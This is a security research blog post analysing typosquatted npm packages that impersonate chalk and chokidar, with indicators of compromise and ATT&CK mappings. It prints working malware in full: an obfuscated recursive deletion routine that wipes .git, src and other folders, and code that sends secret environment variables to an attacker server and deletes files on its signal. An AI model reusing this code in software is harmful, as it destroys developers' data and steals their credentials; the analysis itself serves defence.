New Case Study:See how Anthropic automated 95% of dependency reviews with Socket.Learn More
Socket
Sign inDemoInstall
Socket

Research

Security News

Kill Switch Hidden in npm Packages Typosquatting Chalk and Chokidar

Socket researchers found several malicious npm packages typosquatting Chalk and Chokidar, targeting Node.js developers with kill switches and data theft.

Kill Switch Hidden in npm Packages Typosquatting Chalk and Chokidar

Kush Pandya

January 13, 2025


In Hindi, chokidar (चौकीदार) means “gatekeeper” or “watchman”—a perfect descriptor for chokidar one of Node.js' most trusted file-watching libraries with around 56 million weekly downloads. Meanwhile, chalk serves as a cornerstone for terminal string styling in JavaScript, drawing over 265 million downloads weekly. Unfortunately, our Socket threat research team recently discovered malicious packages impersonating these two widely adopted libraries. The attacker – davn118 – added a kill switch function (thanks()) and a data-exfiltration routine to each clone, threatening .git, .vscode, src, and more. Depending on your NODE_ENV and a hidden “secret key,” these trojan libraries can wipe project files or quietly leak environment variables to a remote server.

Fun fact: This isn’t the first time chalk has been singled out by malicious actors. In a previous research post, we profiled another fake chalk package. Taken together, these findings confirm that chalk remains a prime target for supply chain attacks, while chokidar’s huge user base makes it equally attractive for attackers to exploit.

Meet “davn118,” the malicious actor who has cloned two beloved Node.js libraries – chokidar and chalk – and weaponized them with a kill switch. Alongside a recursive file-deletion function named thanks(), these trojan packages also exfiltrate data to a suspicious URL: yc.cnzzsoft[.]com. If your environment variables don’t match certain “secret” criteria, you could lose .git, .vscode, src, and more.

davn118 publishing multiple near-identical packages – cschokidar-next, achokidar-next, and achalk-next – each purportedly “minimal and efficient,” yet clearly riffing on the original chokidar and chalk names

Why This Matters

  • Chokidar is a widely used file-watcher in Node.js, helping automate tasks like hot reloading and build scripts.
  • Chalk is a mainstay for adding color to CLI output, relied upon by countless devs worldwide.

But in these malicious clones by davn118, the attacker copies the entire legitimate code for each library, then tacks on destructive and exfiltrating logic at the bottom. Notably, each fake package reuses a similar README as the authentic library, so you won’t spot obvious differences from the docs alone.

You can see how the genuine chalk package (above) with 268 million weekly downloads stands in stark contrast to its imposter cschalk (below), which shares the identical README and branding but has near-zero adoption. This discrepancy is a strong red flag: the malicious clone closely mimics the original’s appearance yet lacks the legitimate project’s history, maintainers, and user base.

One Library Steals & Destroys, the Other Just Destroys

Chokidar Clone

  • This chokidar variant relies purely on local environment checks. If you don’t meet its hidden “password” criteria (VUE_APP_SECRET_KEY), the malicious code recursively deletes crucial project directories (e.g., .git, .vscode, src) without ever making a network request.
function thanks(path) {
  if (fs.existsSync(path)) {
    fs.readdirSync(path).forEach(file => {
      const curPath = path + "/" + file;
      if (fs.statSync(curPath).isDirectory()) {
        thanks(curPath);
      } else {
        fs.unlinkSync(curPath);
      }
    });
    fs.rmdirSync(path);
  }
}

!(() => {
  // If NODE_ENV != 'development', check secret key
  if (
    process.env["\u004e\u004f\u0044\u0045\u005f\u0045\u004e\u0056"] !==
    "\u0064\u0065\u0076\u0065\u006c\u006f\u0070\u006d\u0065\u006e\u0074"
  ) {
    var key =
      process.env[
        "\u0056\u0055\u0045\u005f\u0041\u0050\u0050\u005f\u0053\u0045\u0043\u0052\u0045\u0054\u005f\u004b\u0045\u0059"
      ];
    if (!key) {
      thanks("./.vscode");
      thanks("./package.json");
    } else {
      // If key != certain strings or doesn't end with "=="
      // => wipe a list of directories (like .git, .svn, src/vab, etc.)
      if (
        key !=
          "\u0066\u0077\u0066\u006d\u0069\u0061\u006f\u0036\u0032\u0034\u0030\u0039\u0033\u0035\u0039\u0039" &&
        key != "\u0070\u0072\u0065\u0076\u0069\u0065\u0077" &&
        key != "vabp"
      ) {
        if (key.length < 50 || key.substring(key.length - 2) != "==") {
          thanks("./.vscode");
          thanks("./library");
          thanks("./src/vab");
          thanks("./src/store");
          thanks("./public");
          thanks("./.git");
          thanks("./.svn");
          thanks("./mock");
        }
      }
    }
  } else {
    // If NODE_ENV == 'development', still check the key
    var key =
      process.env[
        "\u0056\u0055\u0045\u005f\u0041\u0050\u0050\u005f\u0053\u0045\u0043\u0052\u0045\u0054\u005f\u004b\u0045\u0059"
      ];
    if (!key) {
      thanks("./.vscode");
      thanks("./src/vab");
    }
    if (
      key !=
        "\u0066\u0077\u0066\u006d\u0069\u0061\u006f\u0036\u0032\u0034\u0030\u0039\u0033\u0035\u0039\u0039" &&
      key != "\u0070\u0072\u0065\u0076\u0069\u0065\u0077" &&
      key != "vabp"
    ) {
      if (key.length < 50 || key.substring(key.length - 2) != "==") {
        thanks("./.vscode");
        thanks("./.git");
        thanks("./.svn");
      }
    }
  }
})();
  1. How It Works
    1. Environment-Only Trigger
      • If NODE_ENV ≠ "development" (commonly meaning production or another non-dev environment):
        • Wipes Additional Directories:
          • The script removes not only .vscode and .package.json (if the key is missing) but also a broader set of folders if the key is invalid:
            • ./library
            • ./src/vab
            • ./src/store
            • ./public
            • ./.git
            • ./.svn
            • ./mock
        • Rationale: Production-like environments often house more critical code, secrets, and infrastructure. The attacker’s logic punishes these setups more extensively—inflicting maximum disruption where it hurts the most.
      • If NODE_ENV = "development":
        • Less Extensive:
          • The script still deletes directories—like .vscode, src/vab, .git, .svn—but omits some of the bigger, production-heavy directories (library, public, mock, etc.).
        • Implication: The attacker appears to “go easier” on dev environments, focusing on less widespread destruction—perhaps to avoid detection during typical local development or testing phases.
    2. Hardcoded “Secret Key” Strings
      • Accepted values:
        • "\\u0066\\u0077\\u0066\\u006d\\u0069\\u0061\\u006f\\u0036\\u0032\\u0034\\u0030\\u0039\\u0033\\u005f\\u0059\\u0035\\u0039\\u0039""fwfmiao624093599"
        • "\\u0070\\u0072\\u0065\\u0076\\u0069\\u0065\\u0077""preview"
        • (Plain text) "vabp"
      • The code also checks if the key is 50+ characters and ends with "==". If your secret key fails these checks, destruction ensues.
    3. Recursive Deletion via thanks()
      • Calls fs.unlinkSync() on each file in a directory, then fs.rmdirSync() to remove the folder itself.
      • Targets directories like ./.vscode, ./.git, ./.svn, ./src/vab, ./mock, and more.
Socket detects cscchokidar-next@4.0.14 as known malware, labeling it a severe supply chain risk. The AI scanner confirms destructive file operations, as well as suspicious environment variable checks that can obliterate local repos. The low usage metrics, combined with Socket’s explicit “Known malware” alert, underscore that this package—despite claiming to be an efficient file watcher—actually endangers developers’ projects with hidden, destructive logic.

Chalk Clone

Unlike the chokidar variant, which relies purely on local password checks, this chalk clone does two things:

  1. Gathers your environment variables (like a “secret key”).
  2. Sends them to a suspicious domain (yc.cnzzsoft[.]com) for a remote kill signal.

Key Code Snippet


function thanks(path) {
  // Recursively deletes all files in the given directory
  if (fs.existsSync(path)) {
    fs.readdirSync(path).forEach(file => {
      const curPath = path + "/" + file;
      if (fs.statSync(curPath).isDirectory()) {
        thanks(curPath);
      } else {
        fs.unlinkSync(curPath);
      }
    });
    fs.rmdirSync(path);
  }
}

!(() => {
  // If NODE_ENV isn't "development", gather environment data
  if (
    process.env["\u004e\u004f\u0044\u0045\u005f\u0045\u004e\u0056"] !==
    "\u0064\u0065\u0076\u0065\u006c\u006f\u0070\u006d\u0065\u006e\u0074"
  ) {
    axios({
      url: "\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0079\u0063\u002e\u0063\u006e\u007a\u007a\u0073\u006f\u0066\u0074\u002e\u0063\u006f\u006d\u002f\u0067\u0065",
      method: "post",
      data: {
        customUserId:
          process.env[
            "\u0056\u0055\u0045\u005f\u0047\u0049\u0054\u0048\u0055\u0042\u005f\u0055\u0053\u0045\u0052\u005f\u004e\u0041\u004d\u0045"
          ],
        secretKey:
          process.env[
            "\u0056\u0055\u0045\u005f\u0041\u0050\u0050\u005f\u0053\u0045\u0043\u0052\u0045\u0054\u005f\u004b\u0045\u0059"
          ],
        timestamp: new Date().getTime(),
      },
    }).then(({ data }) => {
      // If the server responds with code 202, destroy .git, node_modules, etc.
      if (data.code == 202) {
        thanks("./.git");
        thanks("./node_modules");
        // Possibly other folders...
      }
    }).catch(() => {
      // Fail silently if the request errors out
    });
  }
})();

How It Works

  1. Environment Check
    • Reads NODE_ENV (obfuscated as "\\u004e\\u004f\\u0044\\u0045\\u005f\\u0045\\u004e\\u0056") and compares it to "development" ("\\u0064\\u0065\\u0076\\u0065\\u006c\\u006f\\u0070\\u006d\\u0065\\u006e\\u0074").
    • If NODE_ENV !== "development", it proceeds with data exfiltration.
  2. Exfiltrates Your Secrets
    • Sends customUserId (from VUE_GITHUB_USER_NAME) and secretKey (from VUE_APP_SECRET_KEY) to yc.cnzzsoft[.]com.
    • Also includes a timestamp: new Date().getTime().
  3. Waits for Remote “Kill” Approval
    • If the attacker’s server responds with data.code == 202, the code calls thanks() on directories like ./.git, ./node_modules, etc.
    • This means the attacker decides in real time whether to nuke your project.
  4. Recursive Deletion via thanks()
    • Identical to the chokidar version, but triggered only after the remote server instructs it to proceed.
Socket flags cschalk@6.1.5 , highlighting that the package sends sensitive environment data (e.g., user credentials) to a malicious server, then recursively deletes critical directories (.vscode, .git, node_modules, etc.) if the server returns a specific status code. Despite mimicking the branding of the legitimate chalk library, cschalk@6.1.5 has minimal downloads and dependencies, reflecting a stark contrast from the real chalk’s popularity—and serving as a clear red flag of typosquatting.

Impact: Real-World Nightmare

  • Data Loss: .git, .vscode, node_modules, or your entire src can vanish in seconds.
  • Credential Exposure: The chalk variant exfiltrates environment variables, potentially handing over private tokens or user IDs to the attacker.
  • Stealthy & Familiar: Both clones reuse legitimate code from chokidar/chalk, plus they replicate the READMEs from the real packages, making them easy to mistake for the real thing.

Next Steps: Securing Your Dependencies#

By hijacking chokidar and chalk, the attacker davn118 transformed trusted developer tools into Trojan horses, poised to wipe your system or harvest your secrets at the slightest mismatch in environment variables. Understanding how each package’s code triggers the kill switch is essential to protecting your projects.

A powerful safeguard is the Socket GitHub app, which scans npm dependencies in pull requests to detect malicious or typosquatted packages before they can compromise a project. For local development and continuous integration pipelines, the Socket CLI provides real-time analysis during npm installs. Additionally, the Socket browser extension offers unobtrusive scanning for suspicious packages while browsing npm or GitHub, flagging potential threats on the spot.

With supply chain attacks on the rise, a quick code or environment check might be all that stands between you and a thoroughly “thanked” ;) codebase.

MITRE ATT@CK:#

  • T1195.002 — Supply Chain Compromise: Compromise Software Supply Chain
  • T1059.007 — Command and Scripting Interpreter: JavaScript
  • T1036.005 — Masquerading: Match Legitimate Name or Location
  • T1027.013 — Obfuscated Files or Information: Encrypted/Encoded File
  • T1546.016 — Event Triggered Execution: Installer Packages
  • T1005 — Data from Local System
  • T1485 – Data Destruction

Indicators of Compromise (IOCs):#

  • Malicious npm Packages
  • Suspicious Endpoint
    • yc.cnzzsoft[.]com
  • Hardcoded “Passwords” / Strings
    • fwfmiao624093599, preview, vabp – used by the chokidar clone to decide if it should delete directories
  • Obfuscated Environment Variables
    • "\\u004e\\u004f\\u0044\\u0045\\u005f\\u0045\\u004e\\u0056"NODE_ENV
    • "\\u0056\\u0055\\u0045\\u005f\\u0041\\u0050\\u0050\\u005f\\u0053\\u0045\\u0043\\u0052\\u0045\\u0054\\u005f\\u004b\\u0045\\u0059"VUE_APP_SECRET_KEY
    • "\\u0056\\u0055\\u0045\\u005f\\u0047\\u0049\\u0054\\u0048\\u0055\\u0042\\u005f\\u0055\\u0053\\u0045\\u0052\\u005f\\u004e\\u0041\\u004d\\u0045"VUE_GITHUB_USER_NAME
  • Recursive Deletion Function
    • Named thanks() in both clones; repeatedly calls fs.unlinkSync() and fs.rmdirSync() on directories like .git, .vscode, node_modules, and src.
  • Threat Actor

Subscribe to our newsletter

Get notified when we publish new security blog posts!

Try it now

Ready to block malicious and vulnerable dependencies?

Install GitHub AppBook a demo

Related posts

Back to all posts
SocketSocket SOC 2 Logo

Product

Packages

npm

Stay in touch

Get open source security insights delivered straight into your inbox.


  • Terms
  • Privacy
  • Security

Made with ⚡️ by Socket Inc